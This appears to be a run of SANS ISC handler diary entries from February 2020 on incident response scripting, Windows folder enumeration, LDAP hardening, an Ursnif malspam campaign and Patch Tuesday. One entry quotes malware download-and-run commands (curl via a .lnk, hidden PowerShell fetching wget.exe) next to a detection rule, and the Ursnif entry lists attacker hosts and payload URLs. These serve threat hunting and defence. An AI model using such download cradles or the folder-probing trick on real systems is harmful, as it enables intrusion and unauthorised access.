[4] https://www.virustotal.com/gui/file/937dfa06dcb63d4e7ebb02f18d2d74aa61ebde3fcbea38c2da50711a33601db1/detection
 

0 Comments

Published: 2020-02-20

Whodat? Enumerating Who "owns" a Workstation for IR

Eventually in almost every incident response situation, you have to start contacting the actual people who sit at the keyboard of affected stations.  Often you'll want them to step back from the keyboard or logout, for either remote forensics data collection or for remediation.  Or in the worst case, if you don't have remote re-imaging working in your shop, to either ship their station back to home base for re-imaging or to arrange a local resource to re-image the machien the hard way.

Long story short, what this means is that you need the name of the principal user of that station, and their phone number, preferably their cell number.  Time is usually of the essence in IR, and you can't always count on or wait for email or voicemail (or VOIP phones either...).  What you will usually find is that often stations will pass from hand-to-hand, outside of IT's control.  It's pretty common for managers in remote locations to "stash" a user's laptop when they leave the company, either as a spare or just to be handy when the next new hire gets onboarded.  It's also not unheard of for the IT folks re-deploying workstations to make clerical errors as they assign devices (or just plain skip the updates).

What that means is that the hardware / OS / software inventory scripts that we've covered in the past only cover 3 or the 4 facets of the actual inventory.  We want to add Userid, Full Username, City / Address and Extension and full phone / cell phone number.  What this also implies is that you want your AD administrators to work more closely with both the telephone and cell phone admins and with HR.  If you use the methods outlined below, it also implies that you'll be populating the appropriate AD fields with accurate contact information.

First, how do we get the currently logged in user?  We've had methods to do this since forever, a few of them are:

Arguably the easiest method is to use pstools.  psloggedin.exe will get you the currently logged in user by scanning the HKEY_USERS registry hive to get logged in User's SIDs, then users NetSessionEnum API go get the user name.  And, just like psexec, psloggedin will "find a way" - it'll generally enable what it needs to get the job done, then back out the changes after the data collection is complete.

How does this look?  See below (the -l enumerates only locally logged in user accounts)

> PsLoggedon.exe -nobanner -l \\nn.nn.nn.nn
Users logged on locally:
     2/4/2020 1:41:40 PM        domain\userid

Note however that this means that you'll need to loop through each station, and that the station needs to be online to collect this information.

WMIC also does a good job, with similar (and and similarly limited) results.

WMIC /NODE:nn.nn.nn.nn COMPUTERSYSTEM GET USERNAME
UserName
domain\userid

"nbtstat -a <computername>" was the way to get this info back in the day, but I'm not seeing great success with this command in a modern network.

Query.exe and qwinsta both still work great though:

> query user /server:<hostname or ip>
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 <userid>              console             1  Active      none   2/4/2020 1:41 PM

 > qwinsta /server:10.51.98.115
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 <userid>              console             1  Active      none   2/4/2020 1:41 PM


The problem with all of these is that it just gets us the username - we still have to look up any contact info somewhere else.  This may be simple if your AD is up (or your Exchange / email Services if the GAL serves as your phone book), but might be more difficult if your security incident is more widespread.

More importantly, these all give us the username as a string, with lots of other cruft all around the one string of interest.  This is fine for 1-2-3 hosts, but if you're collecting info for hundreds or thousands of hosts, not so much.

How about adding user collection to our previous hardware inventory script (in PowerShell)?  This is pretty easy also, and also allows us to add in our contact details.

To get a logged in user:

$a = Get-WmiObject –ComputerName <hostname or ip> –Class Win32_ComputerSystem | Select-Object UserName

$a
UserName          
--------          
domain\userid

(Get-CimInstance works exactly the same way)

Parsing this out to just the username string:

$a.username | ConvertFrom-String -Delimiter "\\"

P1          P2    
--          --    
DOMAIN      userid

$currentuser = ($a.username | ConvertFrom-String -Delimiter "\\").p2
userid

What if our user isn't logged in, but the machine is powered on?  In that case, we're digging into the security event log on that machine, looking for event id 4624.  In some cases we'll see multiple users logging into a computer, so we'll go back "N" days, and pick the user with the largest count of logins as our principal user for that station.  Note that logon type 2 is a local interactive login, so that's what we're looking for in "$event.properties[8].value -eq 2".  An alternative view is that you'll want to collect all the users of that host, since the principal user might not be available when you call.

$days = -1

$filter = @{

            Logname = 'Security'

            ID = 4624

            StartTime =  [datetime]::now.AddDays($days)

            EndTime = [datetime]::now

}

$events += Get-WinEvent -FilterHashtable $filter -ComputerName $WorkstationNameOrIP

$b = $events | where { $_.properties[8].value -eq 3 }

Now, on the AD side, let's add in the infomation collection for phone and email info:

$userinfo = Get-ADUser -filter * -properties Mobile, TelephoneNumber | select samaccountname, name, telephonenumber, mobile, emailaddress

Finally, adding the hardware info from our existing hardware inventory script, we can join the two blocks of information by workstation name, using DNS (we'll do this in a few paragraphs).  This is more reliable than just using the IP address returned in $pcs, as workstations commonly now have both wired and wireless IPs, so that field is not our most reliable bit of info.

$pcs = get-adcomputer -filter * -property Name,dnshostname,OperatingSystem,Operatingsystemversion,LastLogonDate,IPV4Address

How about if we need to get the username for a station that's powered off or disconnected?  Remember that during a security incident that target machine might not be operable, or it might be remote.  That's a bit more time consuming, we'll need to query AD for users who have logged into the target station.  If multiple users have logged in, then most likely we'll want the person who has logged in the most, or the complete list with a count for each user.  More useful, a database of all stations and logins can be refreshed weekly, then used to verify our inventory database or just saved so that we have current information in the event of an incident.

In preparation for this, you'll want to ensure that you are logging all user logins.  The best advice is that you want both successful and failed logins (for obvious reasons), though for this application we need successful logins.  In group policy editor, these settings are at:
Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Login/Logoff > Audit Logon (choose both Success and Failure)

And yes, for reasons unknown Microsoft has these both disabled by default (most vendors follow this same not-so-intuitive path).  Maybe some 1990's reason like "disk is expensive" or something ...

Anyway, with that enabled, we can now query the event log:

 

#collect a week of data (fewer days will speed up this script)

DAYS = 7

$filter = @{
    Logname = 'Security'
    ID = 4624
    StartTime =  [datetime]::now.AddDays($days)
    EndTime = [datetime]::now
}

$events = Get-WinEvent -FilterHashtable $filter -ComputerName $DC.Hostname

To harvest the information of interest, the fields we want are:

$events[n].Properties[5] for the userid
$events[n].Properties[8] needs to be 2 for a local login, or 3 for a remote login.  If you are querying AD logs on the DCs, you'll want Logon Type 3.
$events[n].Properties[18] for the ip address of workstation


Putting this all into one script:

$U_TO_S = @()
$events = @()

$days = -1
$filter = @{
    Logname = 'Security'
    ID = 4624
    StartTime =  [datetime]::now.AddDays($days)
    EndTime = [datetime]::now
}

# Get your ad information
$DomainName = (Get-ADDomain).DNSRoot
# Get all DC's in the Domain
$AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,Ipv4address,isglobalcatalog,site,forest,operatingsystem

foreach($DC in $AllDCs) {
    if (test-connection $DC.hostname -quiet) {
        # collect the events
        write-host "Collecting from server" $dc.hostname
        $events += Get-WinEvent -FilterHashtable $filter -ComputerName $DC.Hostname
        }
    }

# filter to network logins only (Logon Type 3), userid and ip address only
$b = $events | where { $_.properties[8].value -eq 3 } | `
     select-object @{Name ="user"; expression= {$_.properties[5].value}}, `
     @{name="ip"; expression={$_.properties[18].value} }

# filter out workstation logins (ends in $) and any other logins that won't apply (in this case "ends in ADFS")
# as we are collecting the station IP's, adding an OS filter to remove anything that includes "Server" might also be useful
# filter out duplicate username and ip combos
$c = $b | where { $_.user -notmatch 'ADFS$' } | where { $_.user -notmatch '\$$' } | sort-object -property user,ip -unique

# collect all user contact info from AD
# this assumes that these fields are populated
$userinfo = Get-ADUser -filter * -properties Mobile, TelephoneNumber | select samaccountname, name, telephonenumber, mobile, emailaddress | sort samaccountname

# combine our data into one "users to stations to contact info" variable
# any non-ip stn fields will error out - for instance "-".  This is not a problem
foreach ( $logevent in $c ) {
            $u = $userinfo | where { $_.samaccountname -eq $logevent.user }
            $tempobj = [pscustomobject]@{
                user = $logevent.user
                stn = [system.net.dns]::gethostbyaddress($logevent.ip).hostname
                mobile = $u.mobile
                telephone = $u.telephonenumber
                emailaddress = $u.emailaddress
                }
            $U_to_S += $tempobj
            }

# We can easily filter here to
# in this case we are filtering out Terminal Servers (or whatever) by hostname, remove duplicate entries
$user_to_stn_db = $U_TO_S | where { $_.stn -notmatch 'TS' } | sort-object -property stn, user -unique | sort-object -property user

$user_to_stn_db | Out-GridView

This will get you close to a final "userid + contacts + workstation" database.  What you'll likely want to add is any additional filters, maybe to remove any VDI station logins, named-user-admin accounts and so on.  If you are seeing ANONYMOUS logins, logins with the built-in "Administrator" accounts, service accounts and so on, you'll likely want to filter those top, but maybe investigate them first.
Again, with the hostnames and IP addresses in hand it's now easy to get the station's OS from our previous inventory scripts, and maybe filter out anything that has the word "Server" in it if the goal is to collect username - workstation information. 

At some point you'll have some manual edits to do, but a script like this can go a long way towards verifying an existing inventory and contact database, creating a new one from scratch, or just a handy "who logs into what" list with phone numbers.  Remember, for IR you're not so much concerned with who "owns" a station as to who logs into it often (so you can find those people and then physicall find that station).
So if you have 3 people sharing one station, if your list has all 3 people that's a win!

As always, I'll have this script in my github, https://github.com/robvandenbrink - look in "Critical Controls / CC01"

If you can, try a script like this in your environment, then user our comment form to let us know if you find anything "odd".

===============
Rob VandenBrink
rob@coherentsecurity.com

1 Comments

Published: 2020-02-18

Discovering contents of folders in Windows without permissions

I recently noticed an interesting side effect of the way in which Windows handles local file permissions, which makes it possible for a non-privileged user to brute-force contents of a folder for which they don’t have read access (e.g. Read or List folder contents) permissions. It is possible that it is a known technique, however as I didn’t find any write-ups on it anywhere, I thought I’d share it here.

UPDATE: It turns out that John Page, aka @hyp3rlinx, actually did a write-up on the vulnerability in September 2019 - you may find it here.

The issue/vulnerability belongs to the CWE-203: Information Exposure Through Discrepancy[1] family and lies in the fact that Windows returns different messages/errors when a user attempts to access existing file or folder for which he doesn’t have read permissions and when he attempts to access a non-existent file or folder. This is true even if he attempts to access existing and non-existent files within a folder for which he doesn’t have any permissions.

The behavior is similar to a vulnerability commonly present in log in functions of web applications. In case of a vulnerable web apps, a log in function returns different responses when user tries to log in with existing username and a wrong password and when he tries to log in with a non-existent username. This vulnerability is customarily checked during penetration tests since, although a valid username by itself doesn’t help potential threat actors too much, it isn’t something we want to offer to them freely.

To demonstrate the issue present in Windows, I created two user accounts on a Windows 10 test machine. First one was an admin account named "user" (and yes, in hindsight this was not the most fortunate name for an admin account) and the second, a non-privileged account, was named "Test". I further created a folder named "Secret", containing a file "secret.txt", with explicit Full control permissions set up for SYSTEM, the Administrators group and the "user" account and no permissions for the "Test" account.

It is obvious that the "Test" account wouldn’t be able to access the folder or list its contents. However, using error messages, for example those generated by attempts to change the currently open directory (cd), the user might infer whether a file or subfolder exists.

Using the error messages, it would be a trivial matter to automate guessing of filenames using a dictionary or a brute-force attack.

Before I noticed that the cd command (and many others) might be used in this way, I wrote a very simple C# PoC app, which can provide the same information and which could easily be converted to brute-force filenames or “guess” them, based on a dictionary.

static void Main(string[] args)
{
	Console.WriteLine("Input a path to a file to see whether it is accessible, or - if inaccessible - weather it exists or not.");
	Console.WriteLine("Input 'exit' to exit.");
	string input = Console.ReadLine();
	while (input != "exit")
	{
		try
		{
			File.OpenRead(input);
			Console.WriteLine("Access permitted");
		}
		catch (Exception e)
		{
			Console.WriteLine(e.Message);
		}
		input = Console.ReadLine();
	}
}

Similar guessing of paths to the one, which we could employ here, is often used to discover contents of different paths on web servers. Unlike on web servers however, in Windows environments we usually can’t access the contents of the files and subfolders we discover through a simple HTTP GET request. So is this vulnerability actually useful in any way?

By itself not so much, at least in most cases. Although it is definitely unpleasant, without chaining it with some exploit that would actually enable an attacker to read the data in discovered files, all it can do is let a potential malicious actor infer that some file or folder exists. This may be useful for some red teaming activities, but that’s about it.

The only exception I can imagine would be in a situation when a folder would be present on a file system with misconfigured explicit permissions set for subfolders contained within it. In Windows operating systems, it is possible to grant a user permission to interact with a subfolder, even though they don’t have any permissions set for the parent folder. In real life, cases of this nature will be far and few between and most will probably be the result of a mistake by an administrator. Nevertheless, if such a folder was present on a target machine, finding and accessing it would be at least plausible for an attacker. To demonstrate this concept, I’ve created a subfolder "Not_secret" within the C:\Secret path, containing a file named "not_secret.txt".

Afterwards, I gave explicit permissions for this subfolder to our "Test" user.

As you may see from the following output of the PoC app I mentioned above, the “Test" user would be able to interact with the subfolder, if he were to find it, even though he can’t interact with the parent folder.

As far as I’ve been able to determine, the CWE-203 condition is only present when interacting with local drives and not with remote file shares. A malicious user would therefore have to have direct access to the machine on which folders he wants to brute-force are present... Moreover, discovering their contents would definitely not be quick work for him. Nevertheless, although the speed of guessing, which an attacker might achieve, would be slow, and even though the confidentiality impact would be quite limited, this behavior of Windows is certainly less than ideal.

I’ve informed Microsoft Security Response Center about the vulnerability, however as they have determined that it does not meet the bar for security servicing it will not be patched. Although this may be viewed as less than optimal result, one positive point does come out of it – in future, if we ever need to determine what a folder, which we can’t access, actually contains, we have at least this (very inefficient) technique available to us to find out.

-----------
Jan Kopriva
@jk0pr
Alef Nula

5 Comments

Published: 2020-02-17

curl and SSPI

There's an interesting comment on Xavier's diary entry "Keep an Eye on Command-Line Browsers" (paraphrasing): a proxy with authentication will prevent wget and curl to access the Internet because they don't do integrated authentication.

It just happens that since a couple of months, I use curl on Windows with SSPI to authenticate to a proxy. I use the following command:

curl --proxy proxyname:proxyport --proxy-ntlm -U : https://isc.sans.edu

First, you need a version of curl with SSPI support:

Windows 10's version of curl does support SSPI.

With this, I can connect to my proxy (--proxy) and authenticate (--proxy-ntlm) without having the provide credentials to authenticate to the proxy (-U :). curl will use an SSPI to perform integrated authentication to the proxy. This is explained on curl's man page:

If you use a Windows SSPI-enabled curl binary and do either Negotiate or NTLM authentication then you can tell curl to select the user name and password from your environment by specifying a single colon with this option: "-U :".

curl's SSPI feature can also be used to authenticate to an internal IIS server.

By default, curl will not authenticate to a proxy, but it can be directed to do so via options.

I didn't find a version of wget that supports SSPI. If you know one, or you made one, please post a comment.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

3 Comments

Published: 2020-02-16

SOAR or not to SOAR?

Security, Orchestration, Automation and Response (SOAR) allow organizations to collect data about security threats from multiple sources to automate an appropriate response on repetitive tasks. As an analyst you need to juggle and pivot several times a day between multiple tools and devices to evaluate a huge amount information and deal with flood of repetitive tasks such as alerts, tickets, email, threat intelligence data, etc. The end goal is to centralize everything in one location to improve analysis using captured institutionalized knowledge.

If you are already using a SOAR tool, what were the main reasons to buy it and did it improve your ability to standardize response procedure in a digital workflow format and standardize best practice?

If you are not using SOAR but are considering implementing it, what are the main qualities you are looking for in this tool?

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

6 Comments

Published: 2020-02-15

bsdtar on Windows 10

Reading Xavier's diary entry "Keep an Eye on Command-Line Browsers", I wondered when exactly curl was introduced in Windows 10?

I found this Microsoft blog post from December 2017: Tar and Curl Come to Windows!.

Indeed, another surprise to me: tar (bsdtar) is also a command-line utility that comes with vanilla Windows 10.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

2 Comments

Published: 2020-02-14

Keep an Eye on Command-Line Browsers

For a few weeks, I’m searching for suspicious files that make use of a command line browser like curl.exe or wget.exe in Windows environment. Wait, you were not aware of this? Just open a cmd.exe and type ‘curl.exe’ on your Windows 10 host:

If tools like bitsadmin.exe are well-known to be (ab)used by malware samples[1], today, less attention is given to command-llne browsers like curl.exe or wget.exe. Those tools are powerfull (see my diary about many curl features[2]) and, in my opinion, deserve to be kept under your hunting rules.

I'm hunting for samples on VT that use one of those two browsers and I found a bunch of them:

Most of them are PE files and the average detection score is 16.

Win32 EXE 208
ZIP 40
RAR 12
Windows Installer 9
CAB 3
MS Word Document 3
DOS EXE 2
Windows shortcut 2
Android 1
Win32 DLL 1
unknown 1

Some of them are very simple but effective. Here is an example of command embedded in a malicious .lnk file :

C:\Windows\System32\cmd.exe /c curl.exe hxxp://87[.]57[.]141[.]215/Cell.png -o C:\Windows\Tasks\Cell.png

If curl.exe is available as a standard tool in latest Windows operating systems, don't forget that tools can be installed via 3rd party applications or packages. I searched across many Windows devices and found alternatives:

(Via GNU tools)
C:\Program Files (x86)\GnuWin32\bin\wget.exe
 
(Via MingW)
C:\PGM\Git\mingw64\bin\curl.exe
 
(Or Cygwin)
C:\Program Files\Cygwin\bin\wget.exe

Sometimes, if no command-line browser is not available, the sample just downloads its own copy. Example:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass \
    -noprofile -windowstyle hidden 
    (new-object system.net.webclient).downloadfile('hxxp://www[.]kuaishounew[.]com/wget.exe','wget.exe'); \
&start start2.bat

I found very old samples that used wget.exe to fetch malicious files (one from 2015!) but today we have powerful tools to keep an eye on such tools, a Sysmon rule can be helpful to track them:

<Image condition="contains any">wget.exe;curl.exe</Image>

Happy hunting!

[1] https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675
[2] https://isc.sans.edu/forums/diary/Exploiting+the+Power+of+Curl/23934

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 Comments

Published: 2020-02-13

Auth-mageddon deferred (but not averted), Microsoft LDAP Changes now slated for Q3Q4 2020

Good news, sort-of - - Microsoft has deferred their March changes to LDAP, citing the Christmas change freeze that most sensible organizations implement as their reason:

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV190023

(thanks very much to Erik van Straten for this news and link!)

Best advice?  Stick to a remediation plan to migrate your LDAP clients to LDAPS, just know that you have a bit more time to implement.

That being said, what does remediation look like?

First, you'll need a trusted certificate on your Domain Controllers.  While you could certainly buy one from a commercial CA, the easy way to do this is to stand up a Microsoft Certificate Authority in your Active Directory, which will issue DC Certificates automagically.

If there's any question about internal CA's, this command will tell you if you have a CA, and what server it's running on:
    certutil -config - -ping

If you don't have a CA, it's a simple install if the web components aren't installed (no reboot is needed).

Next, you'll need to export the public certificate of your CA, so that your LDAP clients that aren't in AD will know to "trust" any certificates issued by that CA.

To export this from the CA, open "Certificate Authority" on the CA.  Go to the CA Properties, choose the certificate / View Certificate / Details / then choose "Copy to File".  If this is a subordinate CA, you'll want the Certificate Chain instead (in the next tab over, "Certificate Path").  Most clients will want either DER or Base-64 versions of the certificate.  You can also export from the CLI using the command "certutil -ca.cert MyCARootCert.cer"

Then, over on the LDAP client, use the menu or config file for the application that is using LDAP, import this certificate.  Be sure to import it as a Trusted CA.  If  you are unsure at this point, check the documentation on the product you are in to be sure.

On that same client, navigate to the menu or config file that has LDAP configured.  Normally it's as simple as changing the protocol from LDAP to LDAPS, and changing the port from 389 to 636.

Test.  Then test again, in particular with a different userid (that isn't an admin).

Rinse, then repeat for any other LDAP clients in your environment.

===============
Rob VandenBrink
rob@coherentsecurity.com

3 Comments

Published: 2020-02-12

March Patch Tuesday is Coming - the LDAP Changes will Change Your Life!

Next month Microsoft will be changing the default behaviour for LDAP - Cleartext, unsigned LDAP queries against AD (over port 389) will be disabled by default - https://support.microsoft.com/en-gb/help/4520412/2020-ldap-channel-binding-and-ldap-signing-requirement-for-windows  .  You'll still be able to over-ride that using registry keys or group policy, but the best advice is to configure all LDAP clients to use encrypted, signed LDAPS queries (over port 636).

The problem here is that on many networks there have been many years of integrating printers, phone systems, time clocks, SIEMs, firewalls and all sorts of things into LDAP, using the default (unsigned, cleartext) port of 389.  The challenge many organizations face is that finding the last several years of LDAP configuration using that port will be difficult.

How is this do-able?  The easy way is to get AD to do the work for you.

First, enable logging of LDAP events, as described here:
https://support.microsoft.com/en-ca/help/314980/how-to-configure-active-directory-and-lds-diagnostic-event-logging

In regedit, browse to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics

Set the value of "16 LDAP Interface Events" - any non-zero value will start logging of some type.  I set it to "3", which gives me sufficient logging for just finding the remote clients.

To set this quick on all DCs, store the following reg file and run it on each DC:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics]
"16 LDAP Interface Events"=dword:00000003


Or, this script will make the reg change on all DCs for you:

$DomainName = (Get-ADDomain).DNSRoot
$AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,Ipv4address,isglobalcatalog,site,forest,operatingsystem

$regFile = @"
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics]
"16 LDAP Interface Events"=dword:00000003
"@

ForEach ($DC in $AllDCS) {
    Invoke-Command -ComputerName $DC.hostname -ScriptBlock {param($regFile) $regFile | out-file $env:temp\a.reg;
    reg.exe import $env:temp\a.reg } -ArgumentList $regFile
}

Be sure that you make this change for all domain controllers!  Over the course of time, the DC that admins "prefer" will have likely drifted as servers are upgraded, new servers are installed and old ones are retired.  In a large complex network it's likely that many DC's are receiving LDAP queries from something or other.  If you miss the registry key or event collection from one DC, you are likely to miss any number of remote clients that only query that host.

Once this is done, let the LDAP events accumulate. 24 hours is usually sufficient, but depending on your environment you might want a longer interval.  Some LDAP queries only happen on login (vCenter and Linux come to mind for this), so you might want to login to various things if there's any question about how authentication works on those things.

Once we let things accumulate, we are looking for event ID 2889, which indicates a insecure LDAP query.  The message reads:

The following client performed a SASL (Negotiate/Kerberos/NTLM/Digest) LDAP bind without requesting signing (integrity verification), or performed a simple bind over a clear text (non-SSL/TLS-encrypted) LDAP connection.
 
Client IP address:
aa.bb.cc.dd:sourceportnumber
Identity the client attempted to authenticate as:
domainname\userid
Binding Type:
0

After reading that message, my first thought (as it is so many times with Windows events) is - "that sounds serious - why isn't that message logged by default?". 

That being said, with several DCs and clients, collecting this info in a usable form can be a challenge.  The main thing we normally want to collect is the IP's of all of the clients making these queries, but the target DC and the userid being used can be useful as well.  For some reason, the log entries track the source port of each query, which is of course not of use to us, we'll want to filter that out.  Removing duplicate information is key in this - on a typical network we'll see hundreds or thousands of queries, but the goal is to distill this down to 10-15-20-ish unique IP addresses that we need to fix.

Putting all this together, and dropping the source port, then just collecting the information of interest, we have the script below.  Note that the $days variable should be set appropriately before you run this - for initial data collection, you'll want a larger value (maybe 5-7 days).  After you start remediation, you might want this set lower, maybe 1-2 days so that you can more easily verify that any client fixes are working as intended.

$reqlist = @()
# define the Event Log query, event id 2889 for the past "$days"
# if all entries are desired, remove StartTime and EndTime

$days = -2
$filter = @{
    Logname = 'Directory Service'
    ID = 2889
    StartTime =  [datetime]::now.AddDays($days)
    EndTime = [datetime]::now
}

# Get your ad information
$DomainName = (Get-ADDomain).DNSRoot
# Get all DC's in the Domain
$AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,Ipv4address,isglobalcatalog,site,forest,operatingsystem

foreach($DC in $AllDCs) {
    if (test-connection $DC.hostname -quiet) {
        # collect the events
        write-host "Collecting from server" $dc.hostname
        $events = Get-WinEvent -FilterHashtable $filter -ComputerName $DC.Hostname

        foreach ($event in $events) {
            $b = $event.properties[0].value
            $tempobj = [pscustomobject]@{
                TIME = $event.timecreated
                # use substr instead of ConvertFrom-String to account for IPv6 clients
                IP = $b.SubString(0,$b.LastIndexOf(":"))
                USERID = $event.properties[1].value
                DC = $DC.Hostname
                }
            $reqlist += $tempobj
            }
        }
        else {write-host "ERROR - HOST " $DC.hostname " is not available" }
    }

# now just collect unique addresses and userids
$clientips = $reqlist | select IP,USERID,DC | sort -property IP -unique
$clientips | out-gridview

Your output will look something like:

As always, modify this as needed - note that we're collecting the times the connections occurred in the $reqlist variable, as well as the server being queried, this info just isn't in the output.  This makes it easy to verify as remediation proceeds.

Note that you can cut/paste the $reqlist variable into excel to do any post-processing or further filtering that you might want (for instance - did the remediation I made 5 minutes ago work?)

Please - share what you find - use our comment form to let us know the oddest thing that you found that's using LDAP in your environment (NDA and classification permitting of course).  Even preparing for a life-altering patch is a good time to be doing discovery and recon on your own network!

===============
Rob VandenBrink
rob@coherentsecurity.com

2 Comments

Published: 2020-02-12

Malpsam pushes Ursnif through Italian language Word docs

Introduction

For the past two weeks or so, I haven't found any malspam using password-protected zip archives with Word documents having macros for Ursnif.  However, on Tuesday 2020-02-11, malspam from this campaign has resumed.  This time, it used Italian language Word documents with macros for Ursnif.  @reecdeep started a Twitter thread with some of the details (link).


Shown above:  An infection chain from this campaign seen on Tuesday 2020-02-11.

Today's diary has a quick review of an infection from this campaign from Tuesday 2020-02-11.

Finding the associated Word documents

I searched VirusTotal Enterprise using the following criteria and found at least 66 password-protected zip archives containing the file info_02_11.doc from Tuesday 2020-02-11:

info_02_10.doc tag:zip fs:2020-02-10+

None of the associated emails had been submitted to VirusTotal, so I had to guess at the password.  Several of these zip archives used 111 as the password.  One of them used 222 as the password.  The example I used for an infection had 333 as the password.


Shown above:  Searching VirusTotal Enterprise for zip archives containing info_02_11.doc.


Shown above:  After a couple of guesses, I found the proper password for one of the zip archives from my VirusTotal search.


Shown above:  Word document extracted from the password-protected zip archive.

Infection traffic

Infection traffic was typical from what I've seen with this campaign.


Shown above:  Traffic from the infection filtered in Wireshark.

Indicators of Compromise (IoCs)

Traffic from an infected Windows host:

  • 194.61.2[.]16 port 80 - qr12s8ygy1[.]com - GET /khogpfyc8n/215z9urlgz.php?l=xubiz8.cab
  • port 443 - settings-win.data.microsoft.com - HTTPS traffic (not inherently malicious)
  • 95.169.181[.]35 port 80 - lcdixieeoe[.]com - GET /images/[long string of characters].avi
  • 45.141.103[.]204 port 443 - q68jaydon3t[.]com - HTTPS/SSL/TLS traffic caused by Ursnif

Associated files:

SHA256 hash: 28931260f23f2b669be6bd26ddb7f93cf75b2c2790373a3a45a34b09fa9ef907

  • File size: 63,761 bytes
  • File name: Genial.zip
  • File description: Password-protected zip archive (password: 333)

SHA256 hash: 00d986b615d4082fe0ba0aa677b15eb97015f2b357ae87828be85b1e895e0d0b

  • File size: 70,429 bytes
  • File name: info_02_11.doc
  • File description: Word doc with macro for Ursnif

SHA256 hash: 4268d7a5f33d411ab4c4fae7363b21755ad9e576e2094df18f3615399945fd41

  • File size: 3,605 bytes
  • File location: C:\Windows\Temp\a6c9p.xsl
  • File description: XSL file dropped by Word macro

SHA256 hash: 996fcd8c55f923e86477d3d8069f9e9b56c6301cf9b2678c5c5c40bf6a636a5f

  • File size: 188,416 bytes
  • File location: hxxp://qr12s8ygy1[.]com/khogpfyc8n/215z9urlgz.php?l=xubiz8.cab
  • File location: C:\Windows\Temp\aVQl7d.dll
  • File description: Ursnif binary retrieved using XSL file

Final words

A pcap of the infection traffic along with the associated malware can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2020-02-11

Microsoft Patch Tuesday for February 2020

This month we got patches for 99 vulnerabilities total. Five of them have been previously disclosed, and one was being exploited, according to Microsoft. 

One of the patches fixes the CVE-2020-0674, a 0-day affecting Script Engine on Internet Explorer that has been exploited in the wild. Microsoft released an out-of-band advisory for this vulnerability on Jan, 17 ADV200001 [1] suggesting mitigations for the vulnerability - now fixed. The vulnerability could allow a malicious content to corrupt the memory in such a way an attacker could execute arbitrary code in the context of the current user. 

Among the other 16 RCE vulnerabilities, it's worth also mentioning CVE-2020-0738, a memory corruption vulnerability in Media Foundation. An attacker who successfully exploited the vulnerability could allow an attacker to run arbitrary code on the impacted system. The CVSS v3 for this vulnerability is 8.80 - the highest for this month's Patch Tuesday. 

It's also worth mentioning an elevation of privilege vulnerability affecting Windows SSH (CVE-2020-0757). The way Windows improperly handles Security Shell remote commands may allow an attacker to exploit the vulnerability and run arbitrary code with elevated privileges. To exploit the vulnerability, the attacker would first log into the system and run a specially crafted application. 

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Active Directory Elevation of Privilege Vulnerability
%%cve:2020-0665%% No No - - Important 6.6 5.9
Connected Devices Platform Service Elevation of Privilege Vulnerability
%%cve:2020-0740%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0741%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0742%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0743%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0749%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0750%% No No Less Likely Less Likely Important 7.8 7.0
Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability
%%cve:2020-0727%% No No Less Likely Less Likely Important 7.8 7.0
DirectX Elevation of Privilege Vulnerability
%%cve:2020-0709%% No No - - Important 7.0 6.3
%%cve:2020-0732%% No No - - Important 7.0 6.3
DirectX Information Disclosure Vulnerability
%%cve:2020-0714%% No No Less Likely Less Likely Important 4.7 4.2
February 2020 Adobe Flash Security Update
ADV200003 No No - - Important    
LNK Remote Code Execution Vulnerability
%%cve:2020-0729%% No No Less Likely Less Likely Critical 7.5 6.7
Media Foundation Memory Corruption Vulnerability
%%cve:2020-0738%% No No Less Likely Less Likely Critical 8.8 7.9
Microsoft Browser Information Disclosure Vulnerability
%%cve:2020-0706%% Yes No Less Likely Less Likely Important 4.3 3.9
Microsoft Edge Elevation of Privilege Vulnerability
%%cve:2020-0663%% No No - - Important 4.2 3.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-0759%% No No Less Likely Less Likely Important    
Microsoft Exchange Memory Corruption Vulnerability
%%cve:2020-0688%% No No More Likely More Likely Important    
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2020-0692%% No No More Likely More Likely Important    
Microsoft Graphics Components Information Disclosure Vulnerability
%%cve:2020-0746%% No No Less Likely Less Likely Important 5.5 5.0
Microsoft Office Online Server Spoofing Vulnerability
%%cve:2020-0695%% No No - - Important    
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-0693%% No No Less Likely Less Likely Important    
%%cve:2020-0694%% No No Less Likely Less Likely Important    
Microsoft Office Tampering Vulnerability
%%cve:2020-0697%% No No - - Important    
Microsoft Outlook Security Feature Bypass Vulnerability
%%cve:2020-0696%% No No Less Likely Less Likely Important    
Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability
%%cve:2020-0618%% No No - - Important    
Microsoft Secure Boot Security Feature Bypass Vulnerability
